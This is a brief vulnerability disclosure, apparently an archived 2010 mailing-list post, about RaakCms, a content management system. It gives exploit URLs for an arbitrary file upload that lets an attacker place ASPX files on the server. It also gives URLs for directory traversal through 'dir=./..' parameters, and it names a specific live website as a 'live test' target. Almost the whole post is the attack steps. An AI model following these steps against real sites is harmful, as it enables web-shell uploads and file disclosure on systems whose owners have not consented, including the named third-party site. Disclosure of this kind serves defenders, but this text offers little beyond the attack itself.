infosecuritylab.ir
Date: Sun Jan 31 2010 - 01:44:48 CST

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: RaakCms
# Vendor: http://raakcms.com
#################################################################
Vulnerability:

=======================
Arbitrary File Upload
=======================
http://site.ir/webmaster/pic.aspx

select file and folder , your file upload here:
http://site.ir/User_Images/[Folder]/FILE.ASPX

=======================
Directory Traversal
=======================
http://site.ir/browse.asp?dir=./..
http://site.ir/browseFile.asp?dir=./..

#################################################################
Live test: http://behzisty-kj.ir
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iranyahoo.com
###################################################################

• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]